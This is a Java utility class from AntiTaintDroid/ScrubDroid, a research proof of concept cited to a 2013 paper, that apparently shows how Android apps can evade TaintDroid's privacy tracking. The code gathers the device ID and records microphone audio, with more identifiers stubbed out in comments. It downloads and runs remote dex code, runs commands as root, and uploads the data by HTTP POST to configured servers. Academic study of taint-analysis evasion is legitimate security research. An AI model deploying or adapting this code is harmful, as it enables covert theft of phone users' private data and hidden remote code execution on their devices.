Java tutorial
/* * AntiTaintDroid/ScrubDroid * Copyright (C) 2012-2013 National ICT Australia, Golam Sarwar * * AntiTaintDroid (a.k.a. ScrubDroid) [1] is a proof-of-concept Android application * bypassing the security protections offered by TaintDroid [2]. * * When referencing AntiTaintDroid/ScrubDroid, please use the following * citation: * Golam Sarwar, Olivier Mehani, Roksana Boreli, and Mohammed Ali Kaafar. On * the Effectiveness of Dynamic Taint Analysis for Protecting Against Private * Information Leaks on Android-based Devices?. In: SECRYPT 2013, 10th * International Conference on Security and Cryptography. Ed. by P. Samarati. * ACM SIGSAC. Reykjvik, Iceland: SciTePress, July 2013. url: * http://www.nicta.com.au/pub?id=6865; * * [1] http://nicta.info/scrubdroid * [2] http://appanalysis.org/ * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ package com.gsbabil.antitaintdroid; import java.io.BufferedInputStream; import java.io.BufferedReader; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.RandomAccessFile; import java.lang.reflect.Method; import java.net.URL; import java.net.URLConnection; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.text.SimpleDateFormat; import java.util.ArrayList; import java.util.Date; import java.util.HashMap; import java.util.List; import java.util.Locale; import java.util.Map; import org.apache.http.HttpEntity; import org.apache.http.HttpResponse; import org.apache.http.HttpVersion; import org.apache.http.NameValuePair; import org.apache.http.client.HttpClient; import org.apache.http.client.entity.UrlEncodedFormEntity; import org.apache.http.client.methods.HttpPost; import org.apache.http.entity.mime.MultipartEntity; import org.apache.http.entity.mime.content.ContentBody; import org.apache.http.entity.mime.content.FileBody; import org.apache.http.impl.client.DefaultHttpClient; import org.apache.http.message.BasicNameValuePair; import org.apache.http.params.BasicHttpParams; import org.apache.http.params.CoreProtocolPNames; import org.apache.http.params.HttpConnectionParams; import org.apache.http.params.HttpParams; import org.apache.http.util.ByteArrayBuffer; import org.apache.http.util.EntityUtils; import org.json.JSONObject; import dalvik.system.DexClassLoader; import android.annotation.SuppressLint; import android.content.Context; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.graphics.Bitmap; import android.graphics.Bitmap.Config; import android.graphics.Color; import android.graphics.Typeface; import android.media.MediaRecorder; import android.telephony.TelephonyManager; import android.util.Log; import android.util.TypedValue; import android.view.View.MeasureSpec; import android.widget.TextView; public class UtilityFunctions { @SuppressLint("NewApi") public String runRemoteDex(String fullClassName, String methodName, String in) { String out = new String(); @SuppressWarnings("unused") Class<?> noparams[] = {}; Class<?>[] paramStr = new Class[1]; paramStr[0] = String.class; Class<?>[] paramInt = new Class[1]; paramInt[0] = Integer.TYPE; String path = MyApp.context.getFilesDir() + File.separator + MyApp.REMOTE_DEX_URL.substring(MyApp.REMOTE_DEX_URL.lastIndexOf('/') + 1); try { DexClassLoader classLoader = new DexClassLoader(path, MyApp.context.getFilesDir().getAbsolutePath(), null, MyApp.context.getClassLoader()); Class<?> remoteClass = classLoader.loadClass("com.gsbabil.remotedex.UntaintTricks"); Method remoteMethod = remoteClass.getDeclaredMethod("encodingTrick", paramStr); Object obj = remoteClass.newInstance(); out = (String) remoteMethod.invoke(obj, in); } catch (Exception e) { Log.d(MyApp.TAG, e.getMessage().toString()); } return out; } public long httpDownload(String strUrl, String path) { int length = 0; try { URL url = new URL(strUrl); File file = new File(path); URLConnection ucon = url.openConnection(); InputStream is = ucon.getInputStream(); BufferedInputStream bis = new BufferedInputStream(is); ByteArrayBuffer baf = new ByteArrayBuffer(50); int current = 0; while ((current = bis.read()) != -1) { baf.append((byte) current); length++; } FileOutputStream fos = new FileOutputStream(file); fos.write(baf.toByteArray()); fos.close(); } catch (Exception e) { Log.d(MyApp.TAG, e.getMessage().toString()); } Log.d(MyApp.TAG, "Downloaded " + length + " bytes"); return length; } public void statusUpdate(String msg) { TextView tv = (TextView) MyApp.context.findViewById(R.id.textview); tv.append(msg); try { int lineTop = 0; try { lineTop = tv.getLayout().getLineTop(tv.getLineCount()); } catch (Throwable e) { lineTop = 0; } final int scrollAmount = lineTop - tv.getHeight(); if (scrollAmount > 0) { tv.scrollTo(0, scrollAmount); } else { tv.scrollTo(0, 0); } } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); } } public Map<String, String> collectPrivateData() { Map<String, String> data = new HashMap<String, String>(); final TelephonyManager tm = (TelephonyManager) MyApp.context.getSystemService(Context.TELEPHONY_SERVICE); // final String androidId = Secure.getString( // MyApp.context.getContentResolver(), Secure.ANDROID_ID); // data.put("AndroidId", androidId); // data.put("Line1Number", tm.getLine1Number()); // data.put("CellLocation", tm.getCellLocation().toString()); // data.put("SimSerialNumber", tm.getSimSerialNumber()); // data.put("SimOperatorName", tm.getNetworkOperatorName()); // data.put("SubscriberId", tm.getSubscriberId()); data.put("DeviceId", tm.getDeviceId()); // data.put("Microphone", getMicrophoneSample()); // data.put("Camera", getCameraSample()); // data.put("Accelerometer", getAccelerometerSample()); return data; } public String getMicrophoneSample() { String out = ""; String fileName = "microphone.3gp"; MediaRecorder recorder = new MediaRecorder(); recorder.setAudioSource(MediaRecorder.AudioSource.MIC); recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP); recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB); recorder.setOutputFile(MyApp.context.getFilesDir() + "/" + fileName); try { recorder.prepare(); recorder.start(); Thread.sleep(5000); recorder.stop(); recorder.release(); File f = new File(MyApp.context.getFilesDir() + "/" + fileName); FileInputStream fileIn = MyApp.context.openFileInput(fileName); InputStreamReader isr = new InputStreamReader(fileIn); char[] tmpBuf = new char[(int) f.length()]; isr.read(tmpBuf); out = new String(tmpBuf); } catch (Exception e) { e.printStackTrace(); } return out; } /** * Source: * http://stackoverflow.com/questions/4349075/bitmapfactory-decoderesource * -returns-a-mutable-bitmap-in-android-2-2-and-an-immu * * Converts a immutable bitmap to a mutable bitmap. This operation doesn't * allocates more memory that there is already allocated. * * @param imgIn * - Source image. It will be released, and should not be used * more * @return a copy of imgIn, but immutable. */ public static Bitmap convertBitmapToMutable(Bitmap imgIn) { try { // this is the file going to use temporally to save the bytes. // This file will not be a image, it will store the raw image data. File file = new File(MyApp.context.getFilesDir() + File.separator + "temp.tmp"); // Open an RandomAccessFile // Make sure you have added uses-permission // android:name="android.permission.WRITE_EXTERNAL_STORAGE" // into AndroidManifest.xml file RandomAccessFile randomAccessFile = new RandomAccessFile(file, "rw"); // get the width and height of the source bitmap. int width = imgIn.getWidth(); int height = imgIn.getHeight(); Config type = imgIn.getConfig(); // Copy the byte to the file // Assume source bitmap loaded using options.inPreferredConfig = // Config.ARGB_8888; FileChannel channel = randomAccessFile.getChannel(); MappedByteBuffer map = channel.map(MapMode.READ_WRITE, 0, imgIn.getRowBytes() * height); imgIn.copyPixelsToBuffer(map); // recycle the source bitmap, this will be no longer used. imgIn.recycle(); System.gc();// try to force the bytes from the imgIn to be released // Create a new bitmap to load the bitmap again. Probably the memory // will be available. imgIn = Bitmap.createBitmap(width, height, type); map.position(0); // load it back from temporary imgIn.copyPixelsFromBuffer(map); // close the temporary file and channel , then delete that also channel.close(); randomAccessFile.close(); // delete the temporary file file.delete(); } catch (FileNotFoundException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return imgIn; } public int captureBitmapCache(String in) { TextView tv = (TextView) MyApp.context.findViewById(R.id.ocrTextview); String tvText = tv.getText().toString(); float tvTextSize = tv.getTextSize(); int tvColor = tv.getCurrentTextColor(); Bitmap bitmap = null; tv.setTextSize(36); tv.setTextColor(Color.CYAN); tv.setTypeface(Typeface.SANS_SERIF); tv.setText(in); while (bitmap == null) { // http://stackoverflow.com/questions/2339429/android-view-getdrawingcache-returns-null-only-null tv.measure(MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED), MeasureSpec.makeMeasureSpec(0, MeasureSpec.UNSPECIFIED)); tv.layout(0, 0, tv.getMeasuredWidth(), tv.getMeasuredHeight()); tv.setDrawingCacheEnabled(true); tv.buildDrawingCache(true); bitmap = Bitmap.createBitmap(tv.getDrawingCache()); tv.destroyDrawingCache(); tv.setDrawingCacheEnabled(false); } FileOutputStream fos = null; int res = -1; try { fos = new FileOutputStream(currentDirectory() + "/files/" + MyApp.SCREENSHOT_FILENAME); if (fos != null) { bitmap.compress(Bitmap.CompressFormat.JPEG, 90, fos); fos.close(); res = 0; } } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); res = -1; } tv.setTextSize(TypedValue.COMPLEX_UNIT_PX, tvTextSize); tv.setTypeface(Typeface.MONOSPACE); tv.setText(tvText); tv.setTextColor(tvColor); return res; } @SuppressWarnings("deprecation") public String runAsRoot(String command) { String output = new String(); try { Process p = Runtime.getRuntime().exec("su"); DataOutputStream os = new DataOutputStream(p.getOutputStream()); DataInputStream is = new DataInputStream(p.getInputStream()); os.writeBytes(command + "\n"); os.flush(); String line = new String(); while ((line = is.readLine()) != null) { output = output + line; } os.writeBytes("exit\n"); os.flush(); } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); } return output; } @SuppressWarnings("deprecation") public String runAsUser(String command) { String output = new String(); try { Process p = Runtime.getRuntime().exec("sh"); DataOutputStream os = new DataOutputStream(p.getOutputStream()); DataInputStream is = new DataInputStream(p.getInputStream()); os.writeBytes("exec " + command + "\n"); os.flush(); String line = new String(); while ((line = is.readLine()) != null) { output = output + line; } // os.writeBytes("exit\n"); os.flush(); p.waitFor(); } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); } return output; } public static String currentDirectory() { PackageManager pkgManager = MyApp.context.getPackageManager(); String pkgName = MyApp.context.getPackageName(); PackageInfo pkg = new PackageInfo(); try { pkg = pkgManager.getPackageInfo(pkgName, 0); } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); } return pkg.applicationInfo.dataDir; } public String timeNow() { Date now = new Date(); SimpleDateFormat dateFormatter = new SimpleDateFormat("HH:mm:ss", Locale.getDefault()); String fmtNow = dateFormatter.format(now); return fmtNow; } public String httpFileUpload(String filePath) { String sResponse = ""; HttpClient httpClient = new DefaultHttpClient(); httpClient.getParams().setParameter(CoreProtocolPNames.PROTOCOL_VERSION, HttpVersion.HTTP_1_1); HttpPost httppost = new HttpPost(MyApp.HTTP_OCR_URL); MultipartEntity mpEntity = new MultipartEntity(); File file = new File(filePath); ContentBody cbFile = new FileBody(file, "image/png"); mpEntity.addPart("image", cbFile); httppost.setEntity(mpEntity); HttpResponse response = null; try { response = httpClient.execute(httppost); BufferedReader reader = new BufferedReader( new InputStreamReader(response.getEntity().getContent(), "UTF-8")); String line; while ((line = reader.readLine()) != null) { if (sResponse != null) { sResponse = sResponse.trim() + "\n" + line.trim(); } else { sResponse = line; } } Log.i(MyApp.TAG, sResponse); HttpEntity resEntity = response.getEntity(); if (resEntity != null) { EntityUtils.consume(resEntity); } httpClient.getConnectionManager().shutdown(); } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); } return sResponse.trim(); } public String httpSubmit(Map<String, String> data) { DefaultHttpClient httpClient = new DefaultHttpClient(); HttpPost httpPost = new HttpPost(MyApp.HTTP_SUBMIT_URL); HttpResponse response = null; String sResponse = ""; HttpParams myHttpParams = new BasicHttpParams(); HttpConnectionParams.setConnectionTimeout(myHttpParams, MyApp.TIMEOUT); HttpConnectionParams.setSoTimeout(myHttpParams, MyApp.TIMEOUT); httpClient.setParams(myHttpParams); try { List<NameValuePair> nameValuePairs = new ArrayList<NameValuePair>(); for (Map.Entry<String, String> entry : data.entrySet()) { nameValuePairs.add(new BasicNameValuePair(entry.getKey(), entry.getValue())); } httpPost.setEntity(new UrlEncodedFormEntity(nameValuePairs)); response = httpClient.execute(httpPost); BufferedReader reader = new BufferedReader( new InputStreamReader(response.getEntity().getContent(), "UTF-8")); String line; while ((line = reader.readLine()) != null) { if (sResponse != null) { sResponse = sResponse.trim() + "\n" + line.trim(); } else { sResponse = line; } } Log.i(MyApp.TAG, sResponse); HttpEntity resEntity = response.getEntity(); if (resEntity != null) { EntityUtils.consume(resEntity); } httpClient.getConnectionManager().shutdown(); } catch (Throwable e) { Log.i(MyApp.TAG, e.getMessage().toString()); } return sResponse.trim(); } public String parseJson(String in, String jsonKey) { String out = new String(); try { JSONObject jsonObj = new JSONObject(in.trim()); out = jsonObj.getString(jsonKey); } catch (Throwable e) { Log.i(MyApp.TAG, "Error parsing JSON" + e.getMessage().toString()); } return out; } }